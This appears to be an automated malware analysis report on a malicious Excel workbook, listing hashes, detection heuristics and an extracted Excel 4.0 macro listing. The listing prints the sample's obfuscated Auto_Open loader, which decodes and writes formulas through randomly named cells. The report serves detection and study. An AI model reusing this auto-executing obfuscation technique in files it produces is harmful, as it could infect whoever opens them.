Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40c876846f5a6322…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:37:13 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: dd22c4f6d879765fdbde8836b32f77b8 SHA-1: 010c1ea53d128bf7afd5777ea13df931485fdc6f SHA-256: 40c876846f5a6322aff3c8d4bd608c03f92233c0ac9e636577b41e4565fcf5b3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6701 bytes
SHA-256: 2ebdd725d6fc3e618fb21faa2d3fadbddc0fa118373b6fa4cb14478ebec551e7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DYcKecqxap
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C146 
' 0018     26 LABEL : Cell Value, String Constant - bcRqFFakEdt len=0 
' 0018     27 LABEL : Cell Value, String Constant - bNJEfmpCWrxV len=0 
' 0018     27 LABEL : Cell Value, String Constant - BUXzdqxqQOUu len=0 
' 0018     24 LABEL : Cell Value, String Constant - CKhvykpbU len=0 
' 0018     21 LABEL : Cell Value, String Constant - dniwWS len=0 
' 0018     23 LABEL : Cell Value, String Constant - ELyoKiGx len=0 
' 0018     23 LABEL : Cell Value, String Constant - GEhQfAlm len=0 
' 0018     21 LABEL : Cell Value, String Constant - GJQiTg len=0 
' 0018     27 LABEL : Cell Value, String Constant - gsljXjVARBps len=0 
' 0018     27 LABEL : Cell Value, String Constant - kJpnpuPqJxKf len=0 
' 0018     20 LABEL : Cell Value, String Constant - lUANw len=0 
' 0018     23 LABEL : Cell Value, String Constant - MbPswhLT len=0 
' 0018     20 LABEL : Cell Value, String Constant - MoUKK len=0 
' 0018     22 LABEL : Cell Value, String Constant - nTOzJoH len=0 
' 0018     24 LABEL : Cell Value, String Constant - peEsmUsjj len=0 
' 0018     26 LABEL : Cell Value, String Constant - qYCTYtFvhYA len=0 
' 0018     21 LABEL : Cell Value, String Constant - sHUXKH len=0 
' 0018     25 LABEL : Cell Value, String Constant - SiHnOUYaIP len=0 
' 0018     25 LABEL : Cell Value, String Constant - tIkwIDcQFl len=0 
' 0018     27 LABEL : Cell Value, String Constant - YuVnGrHPxPSY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DYcKecqxap,C60,"SET.NAME("YuVnGrHPxPSY",VALUE("0"))",""
'  DYcKecqxap,C63,"SET.NAME("dniwWS",YuVnGrHPxPSY)",""
'  DYcKecqxap,C65,"SET.NAME("bNJEfmpCWrxV",YuVnGrHPxPSY)",""
'  DYcKecqxap,C68,"SET.NAME("SiHnOUYaIP",COUNTA(GJQiTg))",""
'  DYcKecqxap,C70,"SET.NAME("MbPswhLT",COUNTA(gsljXjVARBps))",""
'  DYcKecqxap,C74,[],""
'  DYcKecqxap,C79,"SET.NAME("ELyoKiGx","")",""
'  DYcKecqxap,C81,"dniwWS",""
'  DYcKecqxap,C84,"SET.NAME("peEsmUsjj",HLOOKUP("*",GJQiTg,dniwWS,FALSE))",""
'  DYcKecqxap,C86,"nTOzJoH",""
'  DYcKecqxap,C91,"SET.NAME("BUXzdqxqQOUu",YuVnGrHPxPSY)",""
'  DYcKecqxap,C93,[],""
'  DYcKecqxap,C96,"BUXzdqxqQOUu",""
'  DYcKecqxap,C101,"tIkwIDcQFl",""
'  DYcKecqxap,C105,"MoUKK",""
'  DYcKecqxap,C107,"CKhvykpbU",""
'  DYcKecqxap,C111,"SET.NAME("kJpnpuPqJxKf",VALUE(HLOOKUP("*",gsljXjVARBps,CKhvykpbU,FALSE)))",""
'  DYcKecqxap,C116,"sHUXKH",""
'  DYcKecqxap,C120,"ELyoKiGx",""
'  DYcKecqxap,C123,"bNJEfmpCWrxV",""
'  DYcKecqxap,C126,NEXT(),""
'  DYcKecqxap,C130,"GEhQfAlm",""
'  DYcKecqxap,C134,"SET.NAME("f",INT(T(FORMULA(T(ELyoKiGx)&"",""&T(GEhQfAlm)))))",""
'  DYcKecqxap,C139,"qYCTYtFvhYA",""
'  DYcKecqxap,C142,NEXT(),""
'  DYcKecqxap,C144,RETURN(),""
'  DYcKecqxap,C174,"SET.NAME("bcRqFFakEdt",C60)",""
'  DYcKecqxap,C179,"GJQiTg",""
'  DYcKecqxap,C184,"SET.NAME("gsljXjVARBps",R44C13)",""
'  DYcKecqxap,C188,"SET.NAME("qYCTYtFvhYA",195)",""
'  DYcKecqxap,C191,"SET.NAME("lUANw",3)",""
'  DYcKecqxap,C194,bcRqFFakEdt(),""
'  DYcKecqxap,C195,HALT(),""